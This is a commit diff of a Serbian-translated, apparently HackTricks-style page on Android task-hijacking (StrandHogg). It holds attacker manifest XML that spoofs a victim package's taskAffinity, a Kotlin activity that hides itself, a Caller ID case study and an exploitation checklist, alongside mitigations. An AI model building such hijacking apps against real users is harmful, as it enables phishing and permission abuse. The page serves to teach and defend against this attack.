Translated ['src/mobile-pentesting/android-app-pentesting/android-task-h

This commit is contained in:
Translator 2025-07-23 06:11:25 +00:00
parent d49610558a
commit 6f04c897f8

View File

@ -11,43 +11,93 @@ Evo brzog pregleda prelaza između aktivnosti:
- **Activity 1** počinje kao jedina aktivnost u foreground-u.
- Pokretanje **Activity 2** pomera **Activity 1** u back stack, dovodeći **Activity 2** u foreground.
- Pokretanje **Activity 3** pomera **Activity 1** i **Activity 2** dalje nazad u stogu, pri čemu je **Activity 3** sada ispred.
- Zatvaranje **Activity 3** vraća **Activity 2** nazad u foreground, prikazujući Androidov pojednostavljeni mehanizam navigacije kroz zadatke.
- Zatvaranje **Activity 3** vraća **Activity 2** u foreground, prikazujući Androidov pojednostavljeni mehanizam navigacije kroz zadatke.
![https://developer.android.com/images/fundamentals/diagram_backstack.png](<../../images/image (698).png>)
## Task affinity attack
---
### Overview of Task Affinity and Launch Modes
## Task affinity attacks
U Android aplikacijama, **task affinity** specificira preferirani task aktivnosti, obično usklađen sa imenom paketa aplikacije. Ova postavka je ključna za kreiranje aplikacije za dokazivanje koncepta (PoC) za demonstraciju napada.
`taskAffinity` govori Androidu kojoj grupi zadataka bi `Activity` *preferirala* da pripada. Kada dve aktivnosti dele istu afinitet, **Android može da ih spoji unutar istog back-stack-a čak i ako dolaze iz različitih APK-ova**.
### Launch Modes
Ako napadač može da postavi zlonamernu aktivnost na **root** tog stoga, svaki put kada žrtva otvori legitimnu aplikaciju, zlonameran UI će biti prva stvar koju korisnik vidi savršeno za phishing ili zlostavljanje zahteva za dozvolama.
Atribut `launchMode` usmerava rukovanje instancama aktivnosti unutar zadataka. **singleTask** režim je ključan za ovaj napad, određujući tri scenarija na osnovu postojećih instanci aktivnosti i podudaranja task affinity. Eksploatacija se oslanja na sposobnost napadačeve aplikacije da imitira task affinity ciljne aplikacije, obmanjujući Android sistem da pokrene napadačevu aplikaciju umesto nameravane mete.
Površina napada je šira nego što mnogi programeri misle jer **svaka aktivnost automatski nasleđuje afinitet jednak imenu paketa aplikacije** (osim ako programer ne postavi `android:taskAffinity=""`). Stoga *ne preduzimanje ništa* već ostavlja aplikaciju otvorenom za hijacking zadataka na Android verzijama pre 11.
### Detailed Attack Steps
### Classic "singleTask / StrandHogg" scenario
1. **Instalacija zlonamerne aplikacije**: Žrtva instalira napadačevu aplikaciju na svom uređaju.
2. **Prva aktivacija**: Žrtva prvo otvara zlonamernu aplikaciju, pripremajući uređaj za napad.
3. **Pokušaj pokretanja ciljne aplikacije**: Žrtva pokušava da otvori ciljnu aplikaciju.
4. **Izvršenje otmice**: U nekom trenutku aplikacija pokušava da otvori **singleTask** prikaz. Zbog podudaranja task affinity, zlonamerna aplikacija se pokreće umesto ciljne aplikacije.
5. **Obmana**: Zlonamerna aplikacija prikazuje lažni ekran za prijavu koji podseća na ciljnu aplikaciju, obmanjujući korisnika da unese osetljive informacije.
1. Napadač deklarira aktivnost sa:
```xml
<activity android:name=".EvilActivity"
android:exported="true"
android:taskAffinity="com.victim.package"
android:launchMode="singleTask" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
```
2. Zlonamerna aplikacija se pokreće jednom kako bi zadatak (sa lažnim afinitetom) postojao u nedavnim zadacima.
3. Kada korisnik kasnije otvori pravu aplikaciju, Android pronalazi da već postoji zadatak čiji **root afinitet odgovara paketu** i jednostavno dovodi taj zadatak u foreground.
4. UI napadača se prikazuje prvi.
> [!TIP]
> Imajte na umu da za ovaj napad da bi funkcionisao, ranjivi prikaz **ne mora imati exported na true** niti mora biti glavna aktivnost.
### DefaultAffinity (no `singleTask`) variant Caller ID case study
Za praktičnu implementaciju ovog napada, pogledajte Task Hijacking Strandhogg repozitorijum na GitHub-u: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task_Hijacking_Strandhogg).
Ranljivost prijavljena u aplikaciji **Caller ID (caller.id.phone.number.block)** pokazuje da napad *takođe* funkcioniše protiv podrazumevanog `standard` režima pokretanja:
### Prevention Measures
1. Aplikacija napadača kreira lažnu root aktivnost i odmah se skriva:
```kotlin
class HackActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
moveTaskToBack(true) // keep the task in recents but out of sight
}
}
```
2. Manifest samo treba da kopira paket žrtve u `taskAffinity`:
```xml
<activity android:name=".HackActivity"
android:exported="true"
android:taskAffinity="com.caller.id.phone.number.block" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
```
3. Čim korisnik instalira i otvori zlonamernu aplikaciju **jednom**, zadatak čiji afinitet odgovara paketu žrtve postoji (ali se nalazi u pozadini).
4. Kada se prava Caller ID aplikacija pokrene, Android ponovo koristi taj zadatak i dovodi `HackActivity` u foreground → phishing prozor/zlostavljanje dozvola.
Da bi sprečili takve napade, programeri mogu:
- Postaviti **`**taskAffinity`** za **singleTask** prikaz na prazan string (`android:taskAffinity=""`)
- Odabrati **`singleInstance`** režim pokretanja, osiguravajući izolaciju svoje aplikacije od drugih.
- Prilagoditi funkciju **`onBackPressed()`** koja nudi dodatnu zaštitu protiv otmice zadataka.
> NOTE: Počevši od **Android 11 (API 30)**, sistem *ne* postavlja dva paketa koja nisu deo istog UID-a u isti zadatak po defaultu, ublažavajući ovu posebnu varijantu. Starije verzije ostaju ranjive.
## **References**
---
- [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
- [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
## Detection & Exploitation checklist
1. Izvucite `AndroidManifest.xml` iz ciljanog APK-a i proverite da svaka `<activity>` (ili globalni `<application>` element) sadrži `android:taskAffinity=""` (prazno) **ili** prilagođenu vrednost.
2. Ako ne, kreirajte zlonamernu aplikaciju:
- `android:taskAffinity` = ime paketa žrtve.
- Pružite `MAIN/LAUNCHER` intent kako bi korisnik mogao da je otvori jednom.
- Opcionalno pozovite `moveTaskToBack(true)` da se odmah sakrije.
3. Neka žrtva otvori svoju legitimnu aplikaciju → hijack.
## Mitigation
Programeri bi trebali:
* Eksplicitno postaviti `android:taskAffinity=""` na nivou `<application>` (preporučeno) **ili** dati svakoj aktivnosti jedinstven, privatni afinitet.
* Za veoma osetljive ekrane, kombinovati navedeno sa `android:launchMode="singleInstance"` ili modernim [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) zaštitama.
* Ažurirati `targetSdkVersion` aplikacije i primeniti **Android 11** promene u ponašanju gde se zadaci po defaultu ne dele između paketa.
---
## References
- [https://blog.dixitaditya.com/android-task-hijacking/](https://blog.dixitaditya.com/android-task-hijacking/)
- [https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
- [Android Manifest Misconfiguration Leading to Task Hijacking in Caller ID app](https://github.com/KMov-g/androidapps/blob/main/caller.id.phone.number.block.md)
- [https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06](https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06)
{{#include ../../banners/hacktricks-training.md}}